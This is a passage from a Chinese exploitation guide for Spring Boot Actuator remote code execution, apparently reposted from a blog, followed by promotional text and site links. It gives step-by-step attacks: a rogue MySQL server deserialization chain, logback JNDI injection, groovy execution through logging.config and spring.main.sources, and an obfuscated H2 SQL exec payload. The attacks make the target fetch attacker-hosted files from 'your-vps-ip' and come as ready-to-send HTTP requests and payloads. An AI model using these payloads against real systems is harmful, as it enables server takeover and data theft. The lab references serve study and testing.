GET 请求/env或/actuator/env，搜索环境变量（classpath）中是否有mysql-connector-java关键词，并记录下其版本号（5.x 或 8.x）；

搜索并观察环境变量中是否存在常见的反序列化 gadget 依赖，比如commons-collections、Jdk7u21、Jdk8u20等；

搜索spring.datasource.url关键词，记录下其value值，方便后续恢复其正常 jdbc url 值。

步骤二：架设恶意 rogue mysql server

在自己控制的服务器上运行springboot-jdbc-deserialization-rce.py脚本，并使用ysoserial自定义要执行的命令：

java -jar ysoserial.jar CommonsCollections3 calc > payload.ser

在脚本同目录下生成payload.ser反序列化 payload 文件，供脚本使用。

步骤三：设置 spring.datasource.url 属性

修改此属性会暂时导致网站所有的正常数据库服务不可用，会对业务造成影响，请谨慎操作！

mysql-connector-java 5.x 版本设置属性值为：

jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true

mysql-connector-java 8.x 版本设置属性值为：

jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true

spring 1.x

POST /env
Content-Type: application/x-www-form-urlencoded

spring.datasource.url=对应属性值

spring 2.x

POST /actuator/env
Content-Type: application/json

{"name":"spring.datasource.url","value":"对应属性值"}

步骤四：刷新配置

spring 1.x

POST /refresh
Content-Type: application/x-www-form-urlencoded

spring 2.x

POST /actuator/refresh
Content-Type: application/json

步骤五：触发数据库查询

尝试访问网站已知的数据库查询的接口，例如：/product/list，或者寻找其他方式，主动触发源网站进行数据库查询，然后漏洞会被触发

步骤六：恢复正常 jdbc url

反序列化漏洞利用完成后，使用步骤三的方法恢复步骤一中记录的spring.datasource.url的原始value值

漏洞原理：

  1. spring.datasource.url 属性被设置为外部恶意 mysql jdbc url 地址

  2. refresh 刷新后设置了一个新的 spring.datasource.url 属性值

  3. 当网站进行数据库查询等操作时，会尝试使用恶意 mysql jdbc url 建立新的数据库连接

  4. 然后恶意 mysql server 就会在建立连接的合适阶段返回反序列化 payload 数据

  5. 目标依赖的 mysql-connector-java 就会反序列化设置好的 gadget，造成 RCE 漏洞

漏洞分析：

New-Exploit-Technique-In-Java-Deserialization-Attack

漏洞环境：

需要配置 application.properties 中的 spring.datasource.url、spring.datasource.username、spring.datasource.password，保证可以正常连上 mysql 数据库，否则程序启动时就会报错退出

repository/springboot-mysql-jdbc-rce

正常访问：

http://127.0.0.1:9097/actuator/env

发送完 payload 后触发漏洞：

http://127.0.0.1:9097/product/list

0x09：restart logging.config logback JNDI RCE

利用条件：

  • 可以 POST 请求目标网站的/env接口设置属性

  • 可以 POST 请求目标网站的/restart接口重启应用

  • 普通 JNDI 注入受目标 JDK 版本影响，jdk < 6u201/7u191/8u182/11.0.1(LDAP)，但相关环境可绕过

  • 目标可以请求攻击者的 HTTP 服务器（请求可出外网），否则 restart 会导致程序异常退出

  • HTTP 服务器如果返回含有畸形 xml 语法内容的文件，会导致程序异常退出

  • JNDI 服务返回的 object 需要实现javax.naming.spi.ObjectFactory接口，否则会导致程序异常退出

利用方法：

步骤一：托管 xml 文件

在自己控制的 vps 机器上开启一个简单 HTTP 服务器，端口尽量使用常见 HTTP 服务端口（80、443）

# 使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80
python3 -m http.server 80

在根目录放置以xml结尾的example.xml文件，实际内容要根据步骤二中使用的 JNDI 服务来确定：

步骤二：托管恶意 ldap 服务及代码

参考文章，修改JNDIExploit并启动（也可以使用其他方法）：

java -jar JNDIExploit-1.0-SNAPSHOT.jar -i your-vps-ip

步骤三：设置 logging.config 属性

spring 1.x

POST /env
Content-Type: application/x-www-form-urlencoded

logging.config=http://your-vps-ip/example.xml

spring 2.x

POST /actuator/env
Content-Type: application/json

{"name":"logging.config","value":"http://your-vps-ip/example.xml"}

步骤四：重启应用

spring 1.x

POST /restart
Content-Type: application/x-www-form-urlencoded

spring 2.x

POST /actuator/restart
Content-Type: application/json

漏洞原理：

  1. 目标机器通过 logging.config 属性设置 logback 日志配置文件 URL 地址

  2. restart 重启应用后，程序会请求 URL 地址获得恶意 xml 文件内容

  3. 目标机器使用 saxParser.parse 解析 xml 文件 (这里导致了 xxe 漏洞)

  4. xml 文件中利用logback依赖的insertFormJNDI标签，设置了外部 JNDI 服务器地址

  5. 目标机器请求恶意 JNDI 服务器，导致 JNDI 注入，造成 RCE 漏洞

漏洞分析：

spring boot actuator rce via jolokia

https://landgrey.me/blog/21/

漏洞环境：

repository/springboot-restart-rce

正常访问：

http://127.0.0.1:9098/actuator/env

0x0A：restart logging.config groovy RCE

利用条件：

  • 可以 POST 请求目标网站的/env接口设置属性

  • 可以 POST 请求目标网站的/restart接口重启应用

  • 目标可以请求攻击者的 HTTP 服务器（请求可出外网），否则 restart 会导致程序异常退出

  • HTTP 服务器如果返回含有畸形 groovy 语法内容的文件，会导致程序异常退出

  • 环境中需要存在 groovy 依赖，否则会导致程序异常退出

利用方法：

步骤一：托管 groovy 文件

在自己控制的 vps 机器上开启一个简单 HTTP 服务器，端口尽量使用常见 HTTP 服务端口（80、443）

# 使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80
python3 -m http.server 80

在根目录放置以groovy结尾的example.groovy文件，内容为需要执行的 groovy 代码，比如：

Runtime.getRuntime().exec(“open -a Calculator”)

步骤二：设置 logging.config 属性

spring 1.x

POST /env
Content-Type: application/x-www-form-urlencoded

logging.config=http://your-vps-ip/example.groovy

spring 2.x

POST /actuator/env
Content-Type: application/json

{"name":"logging.config","value":"http://your-vps-ip/example.groovy"}

步骤三：重启应用

spring 1.x

POST /restart
Content-Type: application/x-www-form-urlencoded

spring 2.x

POST /actuator/restart
Content-Type: application/json

漏洞原理：

  1. 目标机器通过 logging.config 属性设置 logback 日志配置文件 URL 地址

  2. restart 重启应用后，程序会请求设置的 URL 地址

  3. logback-classic组件的ch.qos.logback.classic.util.ContextInitializer.java代码文件逻辑中会判断 url 是否以groovy结尾

  4. 如果 url 以groovy结尾，则最终会执行文件内容中的 groovy 代码，造成 RCE 漏洞

漏洞环境：

repository/springboot-restart-rce

正常访问：

http://127.0.0.1:9098/actuator/env

0x0B：restart spring.main.sources groovy RCE

利用条件：

  • 可以 POST 请求目标网站的/env接口设置属性

  • 可以 POST 请求目标网站的/restart接口重启应用

  • 目标可以请求攻击者的 HTTP 服务器（请求可出外网），否则 restart 会导致程序异常退出

  • HTTP 服务器如果返回含有畸形 groovy 语法内容的文件，会导致程序异常退出

  • 环境中需要存在 groovy 依赖，否则会导致程序异常退出

利用方法：

步骤一：托管 groovy 文件

在自己控制的 vps 机器上开启一个简单 HTTP 服务器，端口尽量使用常见 HTTP 服务端口（80、443）

# 使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80
python3 -m http.server 80

在根目录放置以groovy结尾的example.groovy文件，内容为需要执行的 groovy 代码，比如：

Runtime.getRuntime().exec(“open -a Calculator”)

步骤二：设置 spring.main.sources 属性

spring 1.x

POST /env
Content-Type: application/x-www-form-urlencoded

spring.main.sources=http://your-vps-ip/example.groovy

spring 2.x

POST /actuator/env
Content-Type: application/json

{"name":"spring.main.sources","value":"http://your-vps-ip/example.groovy"}

步骤三：重启应用

spring 1.x

POST /restart
Content-Type: application/x-www-form-urlencoded

spring 2.x

POST /actuator/restart
Content-Type: application/json

漏洞原理：

  1. 目标机器可以通过 spring.main.sources 属性来设置创建 ApplicationContext 的额外源的 URL 地址

  2. restart 重启应用后，程序会请求设置的 URL 地址

  3. spring-boot组件中的org.springframework.boot.BeanDefinitionLoader.java文件代码逻辑中会判断 url 是否以.groovy结尾

  4. 如果 url 以.groovy结尾，则最终会执行文件内容中的 groovy 代码，造成 RCE 漏洞

漏洞环境：

repository/springboot-restart-rce

正常访问：

http://127.0.0.1:9098/actuator/env

0x0C：restart spring.datasource.data h2 database RCE

利用条件：

  • 可以 POST 请求目标网站的/env接口设置属性

  • 可以 POST 请求目标网站的/restart接口重启应用

  • 环境中需要存在h2database、spring-boot-starter-data-jpa相关依赖

  • 目标可以请求攻击者的 HTTP 服务器（请求可出外网），否则 restart 会导致程序异常退出

  • HTTP 服务器如果返回含有畸形 h2 sql 语法内容的文件，会导致程序异常退出

利用方法：

步骤一：托管 sql 文件

在自己控制的 vps 机器上开启一个简单 HTTP 服务器，端口尽量使用常见 HTTP 服务端口（80、443）

# 使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80
python3 -m http.server 80

在根目录放置以任意名字的文件，内容为需要执行的 h2 sql 代码，比如：

下面payload 中的 ‘T5’ 方法只能 restart 执行一次；后面 restart 需要更换新的方法名称 (如 T6) 和设置新的 sql URL 地址，然后才能被 restart 重新使用，否则第二次 restart 重启应用时会导致程序异常退出

CREATE ALIAS T5 AS CONCAT(‘void ex(String m1,String m2,String m3)throws Exception{Runti’,‘me.getRun’,‘time().exe’,‘c(new String[]{m1,m2,m3});}’);CALL T5(‘/bin/bash’,‘-c’,‘open -a Calculator’);

步骤二：设置 spring.datasource.data 属性

spring 1.x

POST /env
Content-Type: application/x-www-form-urlencoded

spring.datasource.data=http://your-vps-ip/example.sql

spring 2.x

POST /actuator/env
Content-Type: application/json

{"name":"spring.datasource.data","value":"http://your-vps-ip/example.sql"}

步骤三：重启应用

spring 1.x

POST /restart
Content-Type: application/x-www-form-urlencoded

spring 2.x

POST /actuator/restart
Content-Type: application/json

漏洞原理：

  1. 目标机器可以通过 spring.datasource.data 属性来设置 jdbc DML sql 文件的 URL 地址

  2. restart 重启应用后，程序会请求设置的 URL 地址

  3. spring-boot-autoconfigure组件中的org.springframework.boot.autoconfigure.jdbc.DataSourceInitializer.java文件代码逻辑中会使用runScripts方法执行请求 URL 内容中的 h2 database sql 代码，造成 RCE 漏洞

漏洞环境：

repository/springboot-restart-rce

正常访问：

http://127.0.0.1:9098/actuator/env

先自我介绍一下，小编13年上师交大毕业，曾经在小公司待过，去过华为OPPO等大厂，18年进入阿里，直到现在。深知大多数初中级java工程师，想要升技能，往往是需要自己摸索成长或是报班学习，但对于培训机构动则近万元的学费，着实压力不小。自己不成体系的自学效率很低又漫长，而且容易碰到天花板技术停止不前。因此我收集了一份《java开发全套学习资料》送给大家，初衷也很简单，就是希望帮助到想自学又不知道该从何学起的朋友，同时减轻大家的负担。添加下方名片，即可获取全套学习资料哦

猜你喜欢

转载自blog.csdn.net/m0_67403188/article/details/126115162
今日推荐
开源日报 | Chrome内置Gemini的意义不在于Gemini；中国AI追随之路的五大误区；ECharts创始人“下海”养鱼；谷歌I/O开发者大会什么都有，只是没有惊喜
微软回应中国区AI团队“打包赴美”传闻
基于大语言模型的开源知识库问答系统 MaxKB GitHub Star 数量突破 5,000 个！
美国拟限制 AI 大模型出口中国和俄罗斯
苹果将与 OpenAI 达成协议，将 ChatGPT 应用于 iPhone
openKylin 社区生态委员会第六次会议圆满召开
阿里云正式发布通义千问 2.5
Python 3.13 发布首个 Beta：实验性自由线程模式和 JIT、改进交互式解释器
Stack Overflow 拿我的代码去训练 AI 大模型，还封了我的账号
Pop!_OS 的 COSMIC 桌面完成 App Store 上架工作
《2024 年一季度互联网投融资运行情况》研究报告
报告：Django 仍然是 74% 开发者的首选
周排行
laravle中orm简单的增删改查
文本分类 特征选取之CHI开方检验
Spark核心编程-WordCount
大数据开发实战系列之电信客服(1)
读书笔记 - 把时间当作朋友 by 李笑来
python 笔记--if else
SpringBoot/Mybatis/Druid, 多数据源MultiDataSource配置思路
排序三个整数
redis集群搭建【2】-Windows中Redis集群搭建
STM32F030驱动TM1650点亮4联数码管
每日归档
更多
2024-05-16(6)
2024-05-15(24)
2024-05-14(0)
2024-05-13(18)
2024-05-12(0)
2024-05-11(38)
2024-05-10(38)
2024-05-09(35)
2024-05-08(42)
2024-05-07(14)

代码天地 © 2018 codetd.com

境外服务器   最新电视剧2022